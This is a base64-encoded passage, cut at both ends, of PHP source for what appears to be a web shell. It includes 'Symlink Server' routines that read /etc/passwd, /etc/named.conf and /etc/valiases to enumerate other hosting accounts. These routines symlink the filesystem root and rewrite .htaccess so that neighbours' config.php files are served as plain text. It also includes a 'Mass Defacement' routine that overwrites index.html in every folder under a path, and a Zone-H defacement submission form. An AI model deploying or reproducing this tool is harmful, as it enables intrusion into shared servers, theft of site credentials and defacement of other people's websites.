IgPSBwb3NpeF9nZXRwd3VpZChmaWxlb3duZXIoIi9ldGMvdmFsaWFzZXMvIi4kZG9tYWluKSk7CmVjaG8gIjx0cj48dGQgY2xhc3M9J3RkMSc+PGEgaHJlZj0naHR0cDovLyIuJGRvbWFpbi4iICc+Ii4kZG9tYWluLiI8L2E+PC90ZD4KPGNlbnRlcj48dGQgY2xhc3M9J3RkMSc+PGZvbnQgY29sb3I9J3JlZCc+Ii4kb3duZXJbJ25hbWUnXS4iPC9mb250PjwvY2VudGVyPjwvdGQ+Cjx0ZCBjbGFzcz0ndGQxJz48Y2VudGVyPjxhIGhyZWY9J2V4cGxvZGVkc3ltL3Jvb3QiLiRvd25lclsnZGlyJ10uIi8iLiRkaXJbM10uIicgdGFyZ2V0PSdfYmxhbmsnPkRJUjwvYT48L2NlbnRlcj48L3RkPiI7Cn0KZWNobyAiPGNlbnRlcj5Ub3RhbCBEb21haW5zIEZvdW5kOiAiLiRpLiI8L2NlbnRlcj48YnIgLz4iOwp9IGVsc2UgeyBlY2hvICI8dHI+PHRkIGNsYXNzPSd0ZDEnPmNhbid0IHJlYWQgWyAvZXRjL3ZhbGlhc2VzIF08L3RkPjwvdHI+IjsgfQoKYnJlYWs7Cn0KCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKCiM9PT09PT09PT09PT09PT09PT1bIE11bHRpIFRvb2wgU3ltbGluayBdPT09PT09PT09PT09PT09PT09IwoKaWYoaXNzZXQoJF9QT1NUWydzeW1saW5rciddKSkKewpAc2V0X3RpbWVfbGltaXQoMCk7CkBta2Rpcignc3ltJywwNzc3KTsKZXJyb3JfcmVwb3J0aW5nKDApOwokaHRhY2Nlc3MgID0gIk9wdGlvbnMgYWxsIFxuIERpcmVjdG9yeUluZGV4IGdhemEuaHRtbCBcbiBBZGRUeXBlIHRleHQvcGxhaW4gLnBocCBcbiBBZGRIYW5kbGVyIHNlcnZlci1wYXJzZWQgLnBocCBcbiAgQWRkVHlwZSB0ZXh0L3BsYWluIC5odG1sIFxuIEFkZEhhbmRsZXIgdHh0IC5odG1sIFxuIFJlcXVpcmUgTm9uZSBcbiBTYXRpc2Z5IEFueSI7CiRvcCA9QGZvcGVuICgnc3ltLy5odGFjY2VzcycsJ3cnKTsKZndyaXRlKCRvcCAsJGh0YWNjZXNzKTsKZWNobyAnPGNlbnRlcj48Yj5bIE1hbnVhbCBTeW1saW5rIF08L2I+PGJyPjxicj4KPGZvcm0gbWV0aG9kPSJwb3N0Ij48dGFibGUgY2xhc3M9InRhYm5ldCI+PHRoIGNvbHNwYW49IjUiPk1hbnVhbCBTeW1saW5rPC90aD48dHI+Cjx0ZD5GaWxlIFBhdGggJm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7OjwvdGQ+PHRkPjxpbnB1dCBjbGFzcz0iaW5wdXR6IiB0eXBlPSJ0ZXh0IiBuYW1lPSJmaWxlIiB2YWx1ZT0iL2hvbWUvdXNlci9wdWJsaWNfaHRtbC9jb25maWcucGhwIiBzaXplPSI2MCIvPjwvdGQ+PC90cj4KPHRyPjx0ZD5TeW1saW5rIE5hbWUgOjwvdGQ+PHRkPjxpbnB1dCBjbGFzcz0iaW5wdXR6IiB0eXBlPSJ0ZXh0IiBuYW1lPSJzeW1maWxlIiB2YWx1ZT0iY29uZmlnLnR4dCIgc2l6ZT0iNjAiLz48L3RkPjwvdHI+Cjx0cj48dGQ+PC90ZD48dGQ+PGlucHV0IGNsYXNzPSJpbnB1dHpidXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IlN5bWxpbmsiIG5hbWU9InN5bWxpbmsiIC8+PC90ZD48L3RyPjwvdGFibGU+PC9mb3JtPjwvY2VudGVyPic7CiR0YXJnZXQgPSAkX1BPU1RbJ2ZpbGUnXTsgJHN5bWZpbGUgPSAkX1BPU1RbJ3N5bWZpbGUnXTsgJHN5bWxpbmsgPSAkX1BPU1RbJ3N5bWxpbmsnXTsKaWYgKCRzeW1saW5rKSB7QHN5bWxpbmsoIiR0YXJnZXQiLCJzeW0vJHN5bWZpbGUiKTsKZWNobyAnPGJyPjxjZW50ZXI+PGEgdGFyZ2V0PSJfYmxhbmsiIGhyZWY9InN5bS8nLiRzeW1maWxlLiciID4nLiRzeW1maWxlLic8L2E+PGNlbnRlcj4nO319CgojPT09PT09PT09PT09PT09PT09WyBNdWx0aSBUb29sIFN5bWxpbmsgXT09PT09PT09PT09PT09PT09PSMKICAKaWYoaXNzZXQoJF9QT1NUWydzeW1saW5rcyddKSkKewpAc2V0X3RpbWVfbGltaXQoMCk7CmVjaG8gIjxjZW50ZXI+PGgxPlsgQXV0byBTeW1saW5rIFNlcnZlcl08L2gxPjwvY2VudGVyPjxicj48Y2VudGVyPjxkaXYgY2xhc3M9Y29udGVudD4iOwokZDBtYWlucyA9IEBmaWxlKCIvZXRjL25hbWVkLmNvbmYiKTsKIyNodHRhY2VzCmlmKCRkMG1haW5zKXsKQG1rZGlyKCJleHBsb2RlZHN5bXMiLDA3NzcpOwpAY2hkaXIoImV4cGxvZGVkc3ltcyIpOwpAZXhlKCJsbiAtcyAvIHJvb3QiKTsKJGZpbGUzID0gJ09wdGlvbnMgYWxsCkRpcmVjdG9yeUluZGV4IFN1eC5odG1sCkFkZFR5cGUgdGV4dC9wbGFpbiAucGhwIApBZGRIYW5kbGVyIHNlcnZlci1wYXJzZWQgLnBocCAKQWRkVHlwZSB0ZXh0L3BsYWluIC5odG1sIApBZGRIYW5kbGVyIHR4dCAuaHRtbCAKUmVxdWlyZSBOb25lIApTYXRpc2Z5IEFueSc7CiRmcDMgPSBmb3BlbignLmh0YWNjZXNzJywndycpOwokZnczID0gZndyaXRlKCRmcDMsJGZpbGUzKTtAZmNsb3NlKCRmcDMpOwplY2hvICIKPHRhYmxlIGFsaWduPWNlbnRlciBib3JkZXI9MSBzdHlsZT0nd2lkdGg6NjAlO2JvcmRlci1jb2xvcjojMzMzMzMzOyc+Cjx0cj4KPHRkIGFsaWduPWNlbnRlcj48Zm9udCBzaXplPTM+Uy4gTm8uPC9mb250PjwvdGQ+Cjx0ZCBhbGlnbj1jZW50ZXI+PGZvbnQgc2l6ZT0zPkRvbWFpbnM8L2ZvbnQ+PC90ZD4KPHRkIGFsaWduPWNlbnRlcj48Zm9udCBzaXplPTM+VXNlcnM8L2ZvbnQ+PC90ZD4KPHRkIGFsaWduPWNlbnRlcj48Zm9udCBzaXplPTM+U3ltbGluazwvZm9udD48L3RkPgo8L3RyPiI7CiRkY291bnQgPSAxOwoKZm9yZWFjaCgkZDBtYWlucyBhcyAkZDBtYWluKXsKaWYoZXJlZ2koInpvbmUiLCRkMG1haW4pKXtwcmVnX21hdGNoX2FsbCgnI3pvbmUgIiguKikiIycsICRkMG1haW4sICRkb21haW5zKTsKZmx1c2goKTsKaWYoc3RybGVuKHRyaW0oJGRvbWFpbnNbMV1bMF0pKSA+IDIpewokdXNlciA9IHBvc2l4X2dldHB3dWlkKEBmaWxlb3duZXIoIi9ldGMvdmFsaWFzZXMvIi4kZG9tYWluc1sxXVswXSkpOwplY2hvICI8dHIgYWxpZ249Y2VudGVyPjx0ZD48Zm9udCBzaXplPTM+IiAuICRkY291bnQgLiAiPC9mb250PjwvdGQ+Cjx0ZCBhbGlnbj1sZWZ0PjxhIGhyZWY9aHR0cDovL3d3dy4iLiRkb21haW5zWzFdWzBdLiIvPjxmb250IGNsYXNzPXR4dD4iLiRkb21haW5zWzFdWzBdLiI8L2ZvbnQ+PC9hPjwvdGQ+Cjx0ZD4iLiR1c2VyWyduYW1lJ10uIjwvdGQ+Cjx0ZD48YSBocmVmPScvazIvcm9vdC9ob21lLyIuJHVzZXJbJ25hbWUnXS4iL3B1YmxpY19odG1sJyB0YXJnZXQ9J19ibGFuayc+PGZvbnQgY2xhc3M9dHh0PlN5bWxpbms8L2ZvbnQ+PC9hPjwvdGQ+PC90cj4iOyAKZmx1c2goKTsKJGRjb3VudCsrO319fQplY2hvICI8L3RhYmxlPiI7Cn1lbHNlewokVEVTVD1AZmlsZSgnL2V0Yy9wYXNzd2QnKTsKaWYgKCRURVNUKXsKQG1rZGlyKCJleHBsb2RlZHN5bXMiLDA3NzcpOwpAY2hkaXIoImV4cGxvZGVkc3ltcyIpOwpleGUoImxuIC1zIC8gcm9vdCIpOwokZmlsZTMgPSAnT3B0aW9ucyBhbGwgCiBEaXJlY3RvcnlJbmRleCBTdXguaHRtbCAKIEFkZFR5cGUgdGV4dC9wbGFpbiAucGhwIAogQWRkSGFuZGxlciBzZXJ2ZXItcGFyc2VkIC5waHAgCiAgQWRkVHlwZSB0ZXh0L3BsYWluIC5odG1sIAogQWRkSGFuZGxlciB0eHQgLmh0bWwgCiBSZXF1aXJlIE5vbmUgCiBTYXRpc2Z5IEFueSc7CiAkZnAzID0gZm9wZW4oJy5odGFjY2VzcycsJ3cnKTsKICRmdzMgPSBmd3JpdGUoJGZwMywkZmlsZTMpOwogQGZjbG9zZSgkZnAzKTsKIGVjaG8gIjxicj48YnI+PGNlbnRlcj48aDI+U3ltbGluayBTZXJ2ZXIgITwvaDI+PC9jZW50ZXI+PGJyPjxicj4KIDx0YWJsZSBhbGlnbj1jZW50ZXIgYm9yZGVyPTE+PHRyPgogPHRkIGFsaWduPWNlbnRlcj48Zm9udCBzaXplPTQ+Uy4gTm8uPC9mb250PjwvdGQ+CiA8dGQgYWxpZ249Y2VudGVyPjxmb250IHNpemU9ND5Vc2VyczwvZm9udD48L3RkPgogPHRkIGFsaWduPWNlbnRlcj48Zm9udCBzaXplPTQ+U3ltbGluazwvZm9udD48L3RkPjwvdHI+IjsKICRkY291bnQgPSAxOwogJGZpbGUgPSBmb3BlbigiL2V0Yy9wYXNzd2QiLCAiciIpIG9yIGV4aXQoIlVuYWJsZSB0byBvcGVuIGZpbGUhIik7CiB3aGlsZSghZmVvZigkZmlsZSkpewogJHMgPSBmZ2V0cygkZmlsZSk7CiAkbWF0Y2hlcyA9IGFycmF5KCk7CiAkdCA9IHByZWdfbWF0Y2goJy9cLyguKj8pXDpcLy9zJywgJHMsICRtYXRjaGVzKTsKICRtYXRjaGVzID0gc3RyX3JlcGxhY2UoImhvbWUvIiwiIiwkbWF0Y2hlc1sxXSk7CiBpZihzdHJsZW4oJG1hdGNoZXMpID4gMTIgfHwgc3RybGVuKCRtYXRjaGVzKSA9PSAwIHx8ICRtYXRjaGVzID09ICJiaW4iIHx8ICRtYXRjaGVzID09ICJldGMvWDExL2ZzIiB8fCAkbWF0Y2hlcyA9PSAidmFyL2xpYi9uZnMiIHx8ICRtYXRjaGVzID09ICJ2YXIvYXJwd2F0Y2giIHx8ICRtYXRjaGVzID09ICJ2YXIvZ29waGVyIiB8fCAkbWF0Y2hlcyA9PSAic2JpbiIgfHwgJG1hdGNoZXMgPT0gInZhci9hZG0iIHx8ICRtYXRjaGVzID09ICJ1c3IvZ2FtZXMiIHx8ICRtYXRjaGVzID09ICJ2YXIvZnRwIiB8fCAkbWF0Y2hlcyA9PSAiZXRjL250cCIgfHwgJG1hdGNoZXMgPT0gInZhci93d3ciIHx8ICRtYXRjaGVzID09ICJ2YXIvbmFtZWQiKQogY29udGludWU7CiBlY2hvICI8dHI+PHRkIGFsaWduPWNlbnRlcj48Zm9udCBzaXplPTM+IiAuICRkY291bnQgLiAiPC90ZD4KIDx0ZCBhbGlnbj1jZW50ZXI+PGZvbnQgY2xhc3M9dHh0PiIgLiAkbWF0Y2hlcyAuICI8L3RkPiI7CiBlY2hvICI8dGQgYWxpZ249Y2VudGVyPjxmb250IGNsYXNzPXR4dD48YSBocmVmPS9rMi9yb290L2hvbWUvIiAuICRtYXRjaGVzIC4gIi9wdWJsaWNfaHRtbCB0YXJnZXQ9J19ibGFuayc+U3ltbGluazwvYT48L3RkPjwvdHI+IjsKICRkY291bnQrKzt9ZmNsb3NlKCRmaWxlKTsKIGVjaG8gIjwvdGFibGU+Ijt9ZWxzZXtpZigkb3MgIT0gIldpbmRvd3MiKXtAbWtkaXIoImV4cGxvZGVkc3ltcyIsMDc3Nyk7QGNoZGlyKCJleHBsb2RlZHN5bXMiKTtAZXhlKCJsbiAtcyAvIHJvb3QiKTskZmlsZTMgPSAnT3B0aW9ucyBhbGwgCiBEaXJlY3RvcnlJbmRleCBTdXguaHRtbAogQWRkVHlwZSB0ZXh0L3BsYWluIC5waHAKIEFkZEhhbmRsZXIgc2VydmVyLXBhcnNlZCAucGhwIAogIEFkZFR5cGUgdGV4dC9wbGFpbiAuaHRtbCAKIEFkZEhhbmRsZXIgdHh0IC5odG1sIAogUmVxdWlyZSBOb25lIAogU2F0aXNmeSBBbnknOwogJGZwMyA9IGZvcGVuKCcuaHRhY2Nlc3MnLCd3Jyk7CiAkZnczID0gZndyaXRlKCRmcDMsJGZpbGUzKTtAZmNsb3NlKCRmcDMpOwogZWNobyAiPGNlbnRlcj4KIDx0YWJsZSBhbGlnbj1jZW50ZXIgYm9yZGVyPTE+PHRyPgogPHRkIGFsaWduPWNlbnRlcj48Zm9udCBzaXplPTQ+SWQ8L2ZvbnQ+PC90ZD4KIDx0ZCBhbGlnbj1jZW50ZXI+PGZvbnQgc2l6ZT00PlVzZXJzPC9mb250PjwvdGQ+CiA8dGQgYWxpZ249Y2VudGVyPjxmb250IHNpemU9ND5TeW1saW5rPC9mb250PjwvdGQ+PC90cj4iOwogJHRlbXAgPSAiIjskdmFsMSA9IDA7JHZhbDIgPSAxMDAwOwogZm9yKDskdmFsMSA8PSAkdmFsMjskdmFsMSsrKSB7JHVpZCA9IEBwb3NpeF9nZXRwd3VpZCgkdmFsMSk7CiBpZiAoJHVpZCkkdGVtcCAuPSBqb2luKCc6JywkdWlkKS4iXG4iO30KIGVjaG8gJzxici8+JzskdGVtcCA9IHRyaW0oJHRlbXApOyRmaWxlNSA9IAogZm9wZW4oInRlc3QudHh0IiwidyIpOwogZnB1dHMoJGZpbGU1LCR0ZW1wKTsKIGZjbG9zZSgkZmlsZTUpOyRkY291bnQgPSAxOyRmaWxlID0gCiBmb3BlbigidGVzdC50eHQiLCAiciIpIG9yIGV4aXQoIlVuYWJsZSB0byBvcGVuIGZpbGUhIik7CiB3aGlsZSghZmVvZigkZmlsZSkpeyRzID0gZmdldHMoJGZpbGUpOyRtYXRjaGVzID0gYXJyYXkoKTsKICR0ID0gcHJlZ19tYXRjaCgnL1wvKC4qPylcOlwvL3MnLCAkcywgJG1hdGNoZXMpOyRtYXRjaGVzID0gc3RyX3JlcGxhY2UoImhvbWUvIiwiIiwkbWF0Y2hlc1sxXSk7CiBpZihzdHJsZW4oJG1hdGNoZXMpID4gMTIgfHwgc3RybGVuKCRtYXRjaGVzKSA9PSAwIHx8ICRtYXRjaGVzID09ICJiaW4iIHx8ICRtYXRjaGVzID09ICJldGMvWDExL2ZzIiB8fCAkbWF0Y2hlcyA9PSAidmFyL2xpYi9uZnMiIHx8ICRtYXRjaGVzID09ICJ2YXIvYXJwd2F0Y2giIHx8ICRtYXRjaGVzID09ICJ2YXIvZ29waGVyIiB8fCAkbWF0Y2hlcyA9PSAic2JpbiIgfHwgJG1hdGNoZXMgPT0gInZhci9hZG0iIHx8ICRtYXRjaGVzID09ICJ1c3IvZ2FtZXMiIHx8ICRtYXRjaGVzID09ICJ2YXIvZnRwIiB8fCAkbWF0Y2hlcyA9PSAiZXRjL250cCIgfHwgJG1hdGNoZXMgPT0gInZhci93d3ciIHx8ICRtYXRjaGVzID09ICJ2YXIvbmFtZWQiKQogY29udGludWU7CiBlY2hvICI8dHI+PHRkIGFsaWduPWNlbnRlcj48Zm9udCBzaXplPTM+IiAuICRkY291bnQgLiAiPC90ZD4KIDx0ZCBhbGlnbj1jZW50ZXI+PGZvbnQgY2xhc3M9dHh0PiIgLiAkbWF0Y2hlcyAuICI8L3RkPiI7CiBlY2hvICI8dGQgYWxpZ249Y2VudGVyPjxmb250IGNsYXNzPXR4dD48YSBocmVmPS9rMi9yb290L2hvbWUvIiAuICRtYXRjaGVzIC4gIi9wdWJsaWNfaHRtbCB0YXJnZXQ9J19ibGFuayc+U3ltbGluazwvYT48L3RkPjwvdHI+IjsKICRkY291bnQrKzt9CiBmY2xvc2UoJGZpbGUpOwogZWNobyAiPC90YWJsZT48L2Rpdj48L2NlbnRlcj4iO3VubGluaygidGVzdC50eHQiKTsKIH0gZWxzZSAKIGVjaG8gIjxjZW50ZXI+PGZvbnQgc2l6ZT00PkNhbm5vdCBjcmVhdGUgU3ltbGluazwvZm9udD48L2NlbnRlcj4iOwogfQogfQogfQp9Ci8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vCi8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLwoKCmVsc2VpZihpc3NldCgkX0dFVFsneCddKSAmJiAoJF9HRVRbJ3gnXSA9PSAnbWFzcycpKQp7CmVjaG8gIgo8dGFibGUgc3R5bGU9d2lkdGg6MTAwJTsgYm9yZGVyPTAgY2xhc3M9dGFibmV0IGNlbGxwYWRkaW5nPTMgY2VsbHNwYWNpbmc9MSBhbGlnbj1jZW50ZXI+CgogICAgPHRyPgogICAgPHRkIHZhbGlnbj10b3AgYmdjb2xvcj0jMTUxNTE1IGNsYXNzPXN0eWxlMiBzdHlsZT13aWR0aDogMTM5cHg+CiAgICA8Y2VudGVyPjxiPjxmb250IHNpemU9NSBzdHlsZT1pdGFsaWMgY29sb3I9IzAwZmYwMD5NYXNzIERlZmFjZTwvZm9udD48L2I+PC9jZW50ZXI+PC90ZD48L3RyPjwvdGFibGU+CiI7CmVycm9yX3JlcG9ydGluZygwKTs/Pgo8Zm9ybSBFTkNUWVBFPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBhY3Rpb249Ijw/cGhwICRfU0VSVkVSWydQSFBfU0VMRiddPz4iIG1ldGhvZD0ncG9zdCc+Cjx0ZD48dGFibGU+PHRhYmxlIGNsYXNzPSJ0YWJuZXQiID4KCjx0aCBjb2xzcGFuPSc1Jz48Yj5Gb2xkZXIgTWFzcyBEZWZhY2U8L2I+PC90aD4KPGZvcm0gaGV0aG90PSdwb3N0Jz4KPHRyPgogICAgPHRyPgogICAgPHRkPiZuYnNwOyZuYnNwO0ZvbGRlcjwvdGQ+PHRkPjxpbnB1dCBjbGFzcyA9J2lucHV0eicgc3R5bGU9J2JhY2tncm91bmQ6YmxhY2s7JyB0eXBlPSd0ZXh0JyBuYW1lPSdwYXRoJyBzaXplPSc2MCcgdmFsdWU9Ijw/PWdldGN3ZCgpOz8+Ij48L3RkPgogICAgPC90cj48YnI+CiAgICA8dHI+CiAgICA8dGQ+RmlsZSBOYW1lPC90ZD48dGQ+PGlucHV0IGNsYXNzID0naW5wdXR6JyBzdHlsZT0nYmFja2dyb3VuZDpibGFjazsnIHR5cGU9J3RleHQnIG5hbWU9J2ZpbGUnIHNpemU9JzYwJyB2YWx1ZT0iaW5kZXguaHRtbCI+PC90ZD4KICAgIDwvdHI+CjwvdHI+Cjx0YWJsZSBjbGFzcz0idGFibmV0IiA+Cjx0aCBjb2xzcGFuPSc1Jz48Yj5GaWxlIENvZGUgTWFzcyBEZWZhY2U8L2I+PC90aD4KPHRyPjx0ZD48L3RkPjx0ZD4KPHRhYmxlPjx0ZXh0YXJlYSBhbGlnbj0iY2VudGVyIiBzdHlsZT0nYmFja2dyb3VuZDpibGFjazsnIG5hbWU9J2luZGV4JyByb3dzPScxNScgY29scz0nODAnPjw/PSRzY3JpcHRfZGVmYWNlOyA/PjwvdGV4dGFyZWE+PGJyPgo8Y2VudGVyPjxpbnB1dCBjbGFzcz0naW5wdXR6YnV0JyB0eXBlPSdzdWJtaXQnIHZhbHVlPSImbmJzcDsmbmJzcDtNYXNzIERlZmFjZSZuYnNwOyZuYnNwOyI+PC9jZW50ZXI+PC9mb3JtPjwvdGFibGU+PC90YWJsZT48L3RhYmxlPjwvdGFibGU+Cjxicj48L2Zvcm0+Cjw/cGhwICRtYWlucGF0aD0kX1BPU1RbcGF0aF07JGZpbGU9JF9QT1NUW2ZpbGVdOyRkaXI9b3BlbmRpcigiJG1haW5wYXRoIik7JGNvZGU9YmFzZTY0X2VuY29kZSgkX1BPU1RbaW5kZXhdKTskaW5keD1iYXNlNjRfZGVjb2RlKCRjb2RlKTt3aGlsZSgkcm93PXJlYWRkaXIoJGRpcikpeyRzdGFydD1AZm9wZW4oIiRyb3cvJGZpbGUiLCJ3KyIpOyRmaW5pc2g9QGZ3cml0ZSgkc3RhcnQsJGluZHgpO2lmICgkZmluaXNoKXtlY2hvICIkcm93LyRmaWxlID4gRG9uZTxicj48YnI+Ijt9fX0KLy8vLy8vLy8vLy8vLwovLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLwoKZWxzZWlmKGlzc2V0KCRfR0VUWyd4J10pICYmICgkX0dFVFsneCddID09ICd6b25lJykpCnsgICBAaW5pX3NldCgnb3V0cHV0X2J1ZmZlcmluZycsMCk7IAplY2hvICIKPHRhYmxlIHN0eWxlPXdpZHRoOjEwMCU7IGJvcmRlcj0wIGNsYXNzPXRhYm5ldCBjZWxscGFkZGluZz0zIGNlbGxzcGFjaW5nPTEgYWxpZ249Y2VudGVyPgoKICAgIDx0cj4KICAgIDx0ZCB2YWxpZ249dG9wIGJnY29sb3I9IzE1MTUxNSBjbGFzcz1zdHlsZTIgc3R5bGU9d2lkdGg6IDEzOXB4PgogICAgPGNlbnRlcj48Yj48Zm9udCBzaXplPTUgc3R5bGU9aXRhbGljIGNvbG9yPSMwMGZmMDA+Wm9uZS1IIFN1Ym1pdGVyPC9mb250PjwvYj48L2NlbnRlcj48L3RkPjwvdHI+PC90YWJsZT4KIjsKPz4KPGZvcm0gYWN0aW9uPSI/eT08Pz0kcHdkOyA/PiZhbXA7eD16b25lIiBtZXRob2Q9InBvc3QiPgoKPGJyPjxicj48Y2VudGVyPgo8IS0tIFpvbmUtSCAtLT4KPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0nUE9TVCc+PHRhYmxlPjx0YWJsZSBjbGFzcz0ndGFibmV0Jz4KPHRkIHN0eWxlPSdiYWNrZ3JvdW5kLWNvbG9yOiMwMDAwO3BhZGRpbmctbGVmdDoxMHB4Oyc+PHRyPjx0cj48dGggY29sc3Bhbj0iMiI+PGI+Wm9uZS1IIERlZmFjZXI8L2I+PC90aD48L3RyPjwvdGQ+PC90cj48dGQgaGVpZ2h0PSc0NScgY29sc3Bhbj0nMic+PGZvcm0gbWV0aG9kPSJwb3N0Ij4KPGlucHV0IHR5cGU9InRleHQiIGNsYXNzPSJpbnB1dHoiIG5hbWU9ImRlZmFjZXIiIHN0eWxlPSJiYWNrZ3JvdW5kOmJsYWNrOyIgcGxhY2Vob2xkZXI9Ik5hbWUgT2YgRGVmYWNlciIgLz4KPHNlbGVjdCBuYW1lPSJoYWNrbW9kZSIgY2xhc3M9ImlucHV0eiIgPgo8b3B0aW9uID4tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS1TZWxlY3QgT25lLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjEiPktub3duIFZ1bG5lcmFiaWxpdHkgKGkuZS4gVW5wYXRjaGVkIFN5c3RlbSk8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMiIgPlVuZGlzY2xvc2VkIChuZXcpIFZ1bG5lcmFiaWxpdHk8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMyIgPkNvbmZpZ3VyYXRpb24gLyBBZG1pbiBNaXN0YWtlPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjQiID5CcnV0ZSBGb3JjZSBBdHRhY2s8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iNSIgPlNvY2lhbCBFbmdpbmVlcmluZzwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSI2IiA+V2ViIFNlcnZlciBJbnRydXNpb248L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iNyIgPldlYiBTZXJ2ZXIgRXh0ZXJuYWwgTW9kdWxlIEludHJ1c2lvbjwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSI4IiA+TWFpbCBTZXJ2ZXIgSW50cnVzaW9uPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjkiID5GVFAgU2VydmVyIEludHJ1c2lvbjwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIxMCIgPlNTSCBTZXJ2ZXIgSW50cnVzaW9uPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjExIiA+VGVsbmV0IFNlcnZlciBJbnRydXNpb248L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMTIiID5SUEMgU2VydmVyIEludHJ1c2lvbjwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIxMyIgPlNoYXJlcyBNaXNjb25maWd1cmF0aW9uPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjE0IiA+T3RoZXIgU2VydmVyIEludHJ1c2lvbjwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIxNSIgPlNRTCBJbmplY3Rpb248L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMTYiID5VUkwgUG9pc29uaW5nPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjE3IiA+RmlsZSBJbmNsdXNpb248L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMTgiID5PdGhlciBXZWIgQXBwbGljYXRpb24gQnVnPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjE5IiA+UmVtb3RlIEFkbWluaXN0cmF0aXZlIFBhbmVsIEFjY2VzcyBCcnV0ZWZvcmNpbmc8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMjAiID5SZW1vdGUgQWRtaW5pc3RyYXRpdmUgUGFuZWwgQWNjZXNzIFBhc3N3b3JkIEd1ZXNzaW5nPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjIxIiA+UmVtb3RlIEFkbWluaXN0cmF0aXZlIFBhbmVsIEFjY2VzcyBTb2NpYWwgRW5naW5lZXJpbmc8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMjIiID5BdHRhY2sgQWdhaW5zdCBBZG1pbmlzdHJhdG9yKFBhc3N3b3JkIFN0ZWFsaW5nU25pZmZpbmcpPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjIzIiA+QWNjZXNzIENyZWRlbnRpYWxzIFRocm91Z2ggTWFuIEluIHRoZSBNaWRkbGUgQXR0YWNrPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjI0IiA+UmVtb3RlIFNlcnZpY2UgUGFzc3dvcmQgR3Vlc3Npbmc8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMjUiID5SZW1vdGUgU2VydmljZSBQYXNzd29yZCBCcnV0ZWZvcmNlPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjI2IiA+UmVyb3V0aW5nIEFmdGVyIEF0dGFja2luZyBUaGUgRmlyZXdhbGw8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMjciID5SZXJvdXRpbmcgQWZ0ZXIgQXR0YWNraW5nIFRoZSBSb3V0ZXI8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMjgiID5ETlMgQXR0YWNrIFRocm91Z2ggU29jaWFsIEVuZ2luZWVyaW5nPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjI5IiA+RE5TIEF0dGFjayBUaHJvdWdoIENhY2hlIFBvaXNvbmluZzwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIzMCIgPk5vdCBhdmFpbGFibGU8L29wdGlvbj4KPC9zZWxlY3Q+Cgo8c2VsZWN0IG5hbWU9InJlYXNvbiIgY2xhc3M9ImlucHV0eiIgPgo8b3B0aW9uID4tLS0tLS0tLS0tLS0tLS1TZWxlY3QgT25lLS0tLS0tLS0tLS0tLS0tLS08L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMSIgPkhlaC4uLkp1c3QgRm9yIEZ1biE8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMiIgPlJldmVuZ2UgQWdhaW5zdCBUaGF0IFdlYnNpdGU8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMyIgPlBvbGl0aWNhbCBSZWFzb25zPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjQiID5BcyBhIENoYWxsZW5nZTwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSI1IiA+SSBKdXN0IFdhbnQgVG8gQmUgVGhlIEJlc3QgRGVmYWNlcjwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSI2IiA+UGF0cmlvdGlzbTwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSI3IiA+Tm90IEF2YWlsYWJsZTwvb3B0aW9uPgo8L3NlbGVjdD4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYWN0aW9uIiB2YWx1ZT0iem9uZSI+PHRyPjx0ZD4KPGNlbnRlcj48dGV4dGFyZWEgc3R5bGU9ImJhY2tncm91bmQ6YmxhY2s7b3V0bGluZTpub25lOyIgbmFtZT0iZG9tYWluIiBjb2xzPSIxMTYiIHJvd3M9IjkiIGlkPSJkb21haW5zIiBw